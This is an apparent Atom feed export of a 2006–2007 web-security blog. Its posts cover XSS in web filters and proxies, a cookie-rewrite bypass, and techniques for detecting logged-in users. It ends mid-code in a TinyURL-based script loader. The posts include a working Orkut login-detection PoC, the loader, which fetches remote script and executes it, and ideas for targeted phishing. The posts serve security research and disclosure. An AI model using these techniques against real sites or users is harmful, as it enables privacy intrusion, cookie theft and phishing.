title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=2478419052242081999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2478419052242081999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/2478419052242081999'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/on-stefan-essers-csrf-protection-idea.html' title='On Stefan Esser&apos;s CSRF Protection Idea'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1172635238173616812</id><published>2007-01-20T22:59:00.000+11:00</published><updated>2007-01-20T23:02:15.573+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>XSS-ing Web Middleware</title><content type='html'>A while ago I stumbled upon some XSS vulnerabilities in some Web Filtering Software (namely Websense and Surfwall), and it got me thinking that these applications along with other Web middleware could be as damaging (if not more so) to the end user as an XSS hole in the middleware would affect all sites used through the middleware.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;What is Middleware?&lt;/h4&gt;&lt;br /&gt;&lt;br /&gt;But what kind of middleware exists on the web? Right now I can only think of two different types; web filters, and web proxies. Lets have a quick think about how these two pieces of software are different from an attacker's point of view.&lt;br /&gt;With a web filter, the software exists on every single domain which has 'objectionable' content, and when we XSS it through a web filter, we are still attacking the original domain.&lt;br /&gt;&lt;br /&gt;Web proxies on the other hand are very different though because web proxies only exist on their domain, but everything goes through them, so while most web proxies store the cookies on their server (so a direct XSS attack will not yield authentication cookies for other sites), if you can steal the web proxy's cookies, you are essentially logged into everywhere the user is.Sadly you don't know where that is, and you need to find out.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;XSS-ing Web Filters&lt;/h4&gt;&lt;br /&gt;Firstly, lets assume we've found an XSS flaw in some filtering software, and from what I've seen (&lt;a href="http://www.jungsonnstudios.com/blog/?i=28&amp;bin=11100"&gt;http://www.jungsonnstudios.com/blog/?i=28&amp;bin=11100&lt;/a&gt; ; &lt;a href="http://sla.ckers.org/forum/read.php?3,44,4640#msg-4640"&gt;http://sla.ckers.org/forum/read.php?3,44,4640#msg-4640&lt;/a&gt;) Its not too big an assumption.&lt;br /&gt;&lt;br /&gt;The next question, is what conditions do we need to meet for an attack to work? Well, obviously we need to have the web filter become activated on the site (in the sense that it does block pages from that site), but most importantly of all we need the web filter to display error messages on the domains it is blocking, rather than on a central domain.&lt;br /&gt;&lt;br /&gt;Another useful (but not essential) condition is to have the site only partially blocked so that the user can be already logged into the domain you want to attack.&lt;br /&gt;&lt;br /&gt;Essentially this means that content based web filters (e.g. ones which search for meta tags, titles, keywords, etc), are better targets than those which block sites on a per domain, block list basis because those that are completely blocked won't have users logged into them and so attacks against them need to be completely different.&lt;br /&gt;&lt;br /&gt;Why? Because if you block a whole domain, then an XSS hole in it won't allow you to steal login credentials because the user isn't logged in. On the other hand if a domain isn't blocked in a blocklist, then we can't execute an attack. But if a domain isn't blocked in a content based web filter it may still be possible to get it to be blocked by injecting restricted keywords into a page. So even if a page is not blocked, you can inject some keywords into a search string, and have it block the page.&lt;br /&gt;&lt;br /&gt;The one thing that I have been able to come up with though is simply replacing the whole page that is blocked. Lets say www.sharetrading.com is blocked because a company doesn't want its employees using work time for checking on their shares and the whole domain is blocked, but you have an XSS hole in the blocking page. From there you can easily inject some Javascript which would overwrite the page blocked message and replace it with what the user expects and simply collect login details.&lt;br /&gt;&lt;br /&gt;Sadly though both of the vulnerabilities that Luny and Jungsonn have found exist on a central server. So while there are currently no vulnerabilities that I know of that satisfy these conditions, it is important to keep in mind that every layer you add which can possibly add content is vulnerable.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;XSS-ing Web Proxies&lt;/h4&gt;&lt;br /&gt;Like I mentioned above; web proxies are really the polar opposite of web filters because they exist on one domain showing content from all domains rather than showing the 'same' content on all domains. But these are a dime a dozen and vulnerabilities should exist by the bucket load.&lt;br /&gt;&lt;br /&gt;And they do; because they have an enormous task set for them; they must not only remove all Javascript, but they have to keep content as much intact as possible, and so they often even go as far as allowing Javascript and try to rewrite it so that its safe. There's really no way of locking these down without destroying so much functionality its not funny, its like surfing without Javascript, except with some potential holes around the setting.&lt;br /&gt;&lt;br /&gt;For the ones which try to remove Javascript completely - well, its just another XSS filter, it shouldn't be much of an issue to defeat.&lt;br /&gt;&lt;br /&gt;For the ones which try to rewrite it there is some really interesting stuff I want to talk about. The example I'll be talking about is &lt;a href="http://the-cloak.com/"&gt;http://the-cloak.com/&lt;/a&gt;. It has the added feature that it rewrites Javascript so that it executes almost like its on its on the actual domain, to do this it replaces all instances of document.cookie and similar properties with TC_document_cookie and similar, which contain the variables from the site which the-cloak.com is proxying. It is of course trivial to break past this by using some simple javascript tricks like this:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;var test = document;&lt;br /&gt;alert(test.cookie);&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;But even more interesting is the realisation that there is (of course) no same domain origin policy in force here so you have unrestricted access to all the cookies for every domain, and you can just use an iframe to load the proxied domain you want to attack, and then simply read the TC_document_cookie variable out of the iframe.&lt;br /&gt;&lt;br /&gt;For those that don't spit the cookies out anywhere; keep in mind that all XSS attacks are nothing more than a means to an end and being able to steal the cookies for the web proxy is just as useful.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Conclusion&lt;/h4&gt;&lt;br /&gt;As we can see XSS is something that may end up concerning more people than just web app developers, anyone who develops apps which interact with the web will have to make sure that their products don't add extra vulnerabilities to a user's set up.&lt;br /&gt;&lt;br /&gt;Ok, so I haven't really said anything ground breaking, but its something that wasn't being said anywhere else that I could see, so I thought I'd write about it, even if it is partially theoretical.&lt;br /&gt;&lt;br /&gt;Also; if anyone can think of any more middleware which exists on the net; please, write a comment, send me an e-mail, or get in touch in some other way, I'd love to hear about more things which can potentially make the web a more dangerous place. In fact I'm willing to hear about any applications which somehow influence what the browser renders no matter where they are.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-1172635238173616812?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/1172635238173616812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=1172635238173616812' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1172635238173616812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/1172635238173616812'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/xss-ing-web-middleware.html' title='XSS-ing Web Middleware'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-9005045033828455362</id><published>2007-01-20T20:27:00.000+11:00</published><updated>2007-01-20T20:36:26.499+11:00</updated><title type='text'>More content coming soon</title><content type='html'>I've just gotten back from an 8 day canoeing trip with some friends, where I realised that I have so many ideas, PoCs, papers and similar things which are just lying around and not being discussed or published by anyone else, so in a rare attempt at conscientiousness I'm going to try and publish at least one article a day for the next week - hopefully it'll work and I won't give up too soon. So look forward to seeing some new (and hopefully interesting content) soon.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-9005045033828455362?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/9005045033828455362/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=9005045033828455362' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/9005045033828455362'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/9005045033828455362'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/more-content-coming-soon.html' title='More content coming soon'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-3055628099776516146</id><published>2007-01-01T11:00:00.000+11:00</published><updated>2007-11-05T20:44:34.338+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='General Security'/><title type='text'>More Logged In  User Detection via Authenticated Redirects</title><content type='html'>Ok, so what's changed since the 30th when I posted about this under a different name (Semi-Open Redirects), well, I thought of a better name and some new ways to exploit Authenticated Redirects.&lt;br /&gt;&lt;br /&gt;Authenticated redirects should be self-explanatory, but essentially I just mean redirects which don't redirect you if you aren't logged on (or ones which redirect you only if you aren't logged on, but its a good enough name for me anyway).&lt;br /&gt;&lt;br /&gt;Now, in my post about Semi-Open redirects, one of the constraints I hadn't thought of a circumvention for was the need to have an &lt;i&gt;open&lt;/i&gt; redirect, so you could control where it redirects.&lt;br /&gt;&lt;br /&gt;Since then I've realised that its not always necessary to control where the redirect sends users. Because we can already check if a user has visited a page through the CSS history hack!&lt;br /&gt;&lt;br /&gt;Some common types of authenticated redirects which you can find on the internet are download pages which you need to login to view, which use redirects to track how many people are getting sent to each download or other link.&lt;br /&gt;&lt;br /&gt;But anyway, these redirects are abundant, so here's the source to a working PoC for Orkut:&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&amp;gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;function iframe_callback() {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(temp.offsetHeight==1){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert('You are NOT logged into Orkut.');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} else {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;alert('You ARE logged into Orkut.');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c.removeChild (temp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.removeChild(orkut_iframe);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.write( '&amp;lt;style type="text/css"&amp;gt;#nicked a:link{color:#fff;}' );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.write( '#nicked a:visited{height:1px;width:1px;display:block;overflow:hidden;margin:1px;}' );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.write( '#nicked{font-size:1px;overflow:hidden;height:1px;margin:0;padding:0;}&amp;lt;/style&amp;gt;' );&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var c = document.createElement('div');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c.id='nicked';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(c)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var visited = true;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var temp = document.createElement('a');;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp.innerHTML = 'test';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;c.appendChild(temp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var random, link;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while (visited == true) {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;random=Math.floor(Math.random()*1000000);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;link = 'https://www.orkut.com/GLogin.aspx?done=https%3A%2F%2Fwww.orkut.com%2FNews.aspx%3Ftest%3D' + random;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;temp.href=link;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if(temp.offsetHeight!=1){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;visited = false;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var orkut_iframe = document.createElement('iframe');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;orkut_iframe.src = 'https://www.orkut.com/News.aspx?test=' + random;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;orkut_iframe.style.display = 'none';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;orkut_iframe.onload = iframe_callback;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(orkut_iframe);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;lt;/script&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Note: This PoC works on the principal that Orkut redirects you to a login page with the URL of where you wanted to go in the URL, and so we create URL with a  random number appended to the URL, and then we see if you were redirected to the login URL.&lt;br /&gt;&lt;br /&gt;Oh, and credit to Christian Heilmann whose CSS detecting code I essentially stole, because he was the first one smart enough to get it working in all browsers and post the working version in a comment on Jeremiah's blog. If anyone is interested I ripped the code from here: &lt;a href="http://icant.co.uk/sandbox/nickhistory.html"&gt;http://icant.co.uk/sandbox/nickhistory.html&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-3055628099776516146?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/3055628099776516146/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=3055628099776516146' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/3055628099776516146'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/3055628099776516146'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2007/01/more-user-login-detection-via.html' title='More Logged In  User Detection via Authenticated Redirects'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-8968283188767509160</id><published>2006-12-30T16:58:00.000+11:00</published><updated>2007-01-02T17:47:37.383+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Detection'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Detecting Logged In Users</title><content type='html'>I just wanted to comment on the various ways of checking if people are logged in that I've seen, and propose a (rather unlikely) method of my own.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Uses for the knowledge&lt;/h4&gt;&lt;br /&gt;Personally I'm rather sceptical about profiling users and don't really see a point to it. The most dangerous application of this that I could come up with is if you check if a person is logged into a bunch of banks, and then send them off to the appropriate phishing page for their bank. And phishing is generally only reliable when the user clicks on a valid looking link in a valid looking email - or so we'd hope. So even the danger there seems limited. Sure, maybe you could provide ads to competing services or something, but unless you've got some great deal or something, you're probably not going to have any luck converting people.&lt;br /&gt;&lt;br /&gt;Now sure we could use these methods to detect whether a user is logged in before running an XSS/CSRF attack, but unless the attack requires some level of user interaction (like having them move their mouse over something, even if you make the element take up the whole screen for a second), you have no need for it. Sure if the attack requires user interaction, then you need to be sure that the user is logged in because then there is a chance that you may raise suspicion, and if you've got more than one XSS/CSRF attack to conduct you can't have the user get suspicious, otherwise you might not finish running them all.&lt;br /&gt;&lt;br /&gt;But I can't think of any other applications, and those two don't exactly seem like &lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Jeremiah's Firefox Javascript Error Hack&lt;/h4&gt;&lt;br /&gt;Jeremiah's idea is great, but like almost everything else, sadly not infallible. I was talking to birdie from sla.ckers.org today and he mentioned to me that he was having no luck getting Jeremiah's Firefox Javascript Error hack to work because all the pages had an identical doctype at the top of the page, on which the Javascript engine always errored out on and there were no pdfs or images or other resources which were only available to users. So it seems that there is really no need for some elaborate defence where you specify an error handler on your page to override our error handler, or anything similar - you just need to make the first couple of lines of each page identical, and what better thing to put there than a doctype tag so that you're actually conforming to some standards at the same time.&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Timing Attacks&lt;/h4&gt;&lt;br /&gt;But it didn't stop there, he also sent me the following link on using timing attacks to detect whether users are logged in: &lt;a href="http://wasjournal.blogspot.com/2006/12/use-of-time-delay-technique-for.html"&gt;http://wasjournal.blogspot.com/2006/12/use-of-time-delay-technique-for.html&lt;/a&gt; because he thought it was a better way.&lt;br /&gt;&lt;br /&gt;Now while I'd seen it before, I hadn't really thought about it before, and just discounted it as something that might be used, but probably rather unreliable, so I went and did some test and here are my results when I ran his code:&lt;br /&gt;&lt;br /&gt;Time when logged out:&lt;br /&gt;5469, 2781, 2859, 1234, 2906, 1125, 1047, 2734, 5032, 2704&lt;br /&gt;&lt;br /&gt;Time when logged in:&lt;br /&gt;672, 2688, 6469, 719, 703, 1859, 688, 1718, 750, 1782&lt;br /&gt;&lt;br /&gt;So while the average time when logged out is definitely higher, there is a great amount of overlap, and chance for error, and this is only on one network connection.&lt;br /&gt;&lt;br /&gt;But It got me thinking, how else would I be able to tell that a user is logged in, and i came up with:&lt;br /&gt;&lt;br /&gt;&lt;h4&gt;Semi-Open Redirects&lt;/h4&gt;&lt;br /&gt;I was thinking, in what cases can you find anything about what's in an iframe? Well, when its on the same domain as your script is, and what better way to get users onto your domain than to be redirected there from the site you are 'attacking'.&lt;br /&gt;&lt;br /&gt;Now, just to explain what I mean by Semi-Open. Firstly what is an Open Redirect? An open redirect is one where you can send any&lt;i&gt;one&lt;/i&gt; anywhere, essentially one where you do no validation on who you send where. Now my definition of a Semi-Open redirect is one who will send &lt;i&gt;certain people&lt;/i&gt; anywhere, more specifically logged in users anywhere. You can probably see where I'm going with this. The only other possible definition is sending everyone to only certain places, but thats completely useless to an attacker.&lt;br /&gt;&lt;br /&gt;So if we find a Semi-Open redirect we can place it in an iframe, and if the user is logged in they will be redirected to our domain, and we will be able to get the iframe's location, otherwise we'll just error out.&lt;br /&gt;&lt;br /&gt;Now, while I would have loved to have a example of an Semi-Open Redirect for everyone (I don't like posts without examples or PoC's), but I don't know where ro when I will actually find one, so I'll do the next best thing, I'll post a link to someone else's PoC, which has already been patched....Ok, so its not second best, or anywhere near second best, but its close enough for this article: &lt;a href="http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049285.html"&gt;http://lists.grok.org.uk/pipermail/full-disclosure/2006-September/049285.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;hr /&gt;&lt;br /&gt;So in the end, while most of these ideas are rather cool (especially Jeremiah's), they don't seem to be always reliable or even useful to me.&lt;br /&gt;&lt;br /&gt;Anyway, I hope everyone found this little burst of two posts interesting, because I'm awful at coming up with new ideas worth posting about regularly, but keep your eye peeled, I'm working on some interesting HTTP Response Splitting Payloads which I'll be posting once I get them working on Firefox and Opera 9 (something changed between Opera 8 and 9). If anyone who reads this is familiar with the Firefox source and would be willing to help me work out why things aren't working, please shoot me an email, I've been sitting on this idea for more than a month, and working PoCs for IE and opera 8 for at least 3 weeks....&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23714519-8968283188767509160?l=kuza55.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kuza55.blogspot.com/feeds/8968283188767509160/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23714519&amp;postID=8968283188767509160' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8968283188767509160'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23714519/posts/default/8968283188767509160'/><link rel='alternate' type='text/html' href='http://kuza55.blogspot.com/2006/12/detecting-logged-in-users.html' title='Detecting Logged In Users'/><author><name>kuza55</name><uri>http://www.blogger.com/profile/03932544559060480887</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23714519.post-1411405706227062645</id><published>2006-12-30T15:17:00.000+11:00</published><updated>2007-01-02T17:45:06.704+11:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web App Sec'/><category scheme='http://www.blogger.com/atom/ns#' term='Security (All)'/><title type='text'>Using TinyURL For Storage (includes PoC)</title><content type='html'>Note: To skip to the PoC click &lt;a href="#PoC"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I recently read the following post about trying to write something that took advantage of pdp's article of using tinyURL for storage: &lt;a href="http://michaeldaw.org/news/news-221206/"&gt;http://michaeldaw.org/news/news-221206/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Sadly at the time I hadn't actually read pdp's article (&lt;a href="http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/"&gt;http://www.gnucitizen.org/blog/the-attack-of-the-tiny-urls/&lt;/a&gt;) further than the first couple of lines, because the title seemed rather self explanatory. Anyway, I wanted to write a comment to that post, but it didn't want to let me, maybe that's because the comments are moderated or something, so here's what I wanted to write:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;Sure, you can't directly link to them and have them to redirect to data URLS, you need a different type of redirect (&lt;a href="http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html"&gt;http://kuza55.blogspot.com/2006/11/not-all-redirection-scripts-are-created.html&lt;/a&gt;) for that to work. And anyway, if Location headers could redirect users to data URLs then we'd have yet another XSS vector to deal with.&lt;br /&gt;&lt;br /&gt;What you can do though is create URLs with your data in them like this one: http://tinyurl.com/ye9kbd which redirects to http://www.google.com/search?q=data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4=&lt;br /&gt;&lt;br /&gt;But that still leaves us with the problem of having a cross-domain browser security policy, whereby we can't even find out where the URL redirected to, unless its on our site. But since we're already attacking a site, we can easily just create a tinyURL with the data in the query string.&lt;br /&gt;&lt;br /&gt;So lets say you were conducting an XSS attack against www.example.com you could submit http://www.example.com/#data:text/html;base64,PHNjcmlwdD4NCmFsZXJ0KCd0ZXN0Jyk7DQo8L3NjcmlwdD4= to tinyURL, get a URL back, put the tinyURL in the src attribute of an invisible iframe, then set the onLoad event (or something else, onLoad is just easy to work with) to parse the location, and then simply use that data as you need to.&lt;br /&gt;&lt;br /&gt;And since we're using the # symbol to separate our data, it won't show up in the site's logs, since everything after it shouldn't sent by the browser.&lt;br /&gt;&lt;br /&gt;But a more profitable method would probably be to simply post your data on a site with an insecure crossdomain.xml file, and use flash to make arbitrary requests to read that data.&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a name="PoC"&gt;&lt;/a&gt;Anyway, even though its taking up most of the post, its not the important part, I also got bored and wrote a PoC for pdp's idea (which is exactly the same as mine actually, but I should have read his article, :S). It needs to be run on localhost for it to work, well, either that or you need to change the tinyurls to reflect the site you're hosting it on, and you need to make sure the len argument is correct, I'm using 18 because http://localhost/# is 18 characters in length. Anyway, here's the actual code:&lt;br /&gt;&lt;br /&gt;&lt;code&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;script&amp;gt;&lt;br /&gt;&lt;br /&gt;function getURLEncodedScriptFromTiny (tiny, len) {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var b64iframe = document.createElement('iframe');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b64iframe.src = tiny;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b64iframe.style.display = 'none';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var callback = new Function ('getb64callback(this, ' + len + ');');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b64iframe.onload = callback;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(b64iframe);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function getb64callback (iframe, len) {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var script = iframe.contentDocument.location + '';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;script = unescape(script.substring(len));&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.removeChild (iframe);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var b64script = document.createElement('script');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b64script.type = 'text/javascript';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;b64script.text = script;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;document.body.appendChild(b64script);&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function getDataFromTiny (tiny, len, order) {&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var data_iframe = document.createElement('iframe');&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data_iframe.src = tiny;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data_iframe.style.display = 'none';&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;var callback 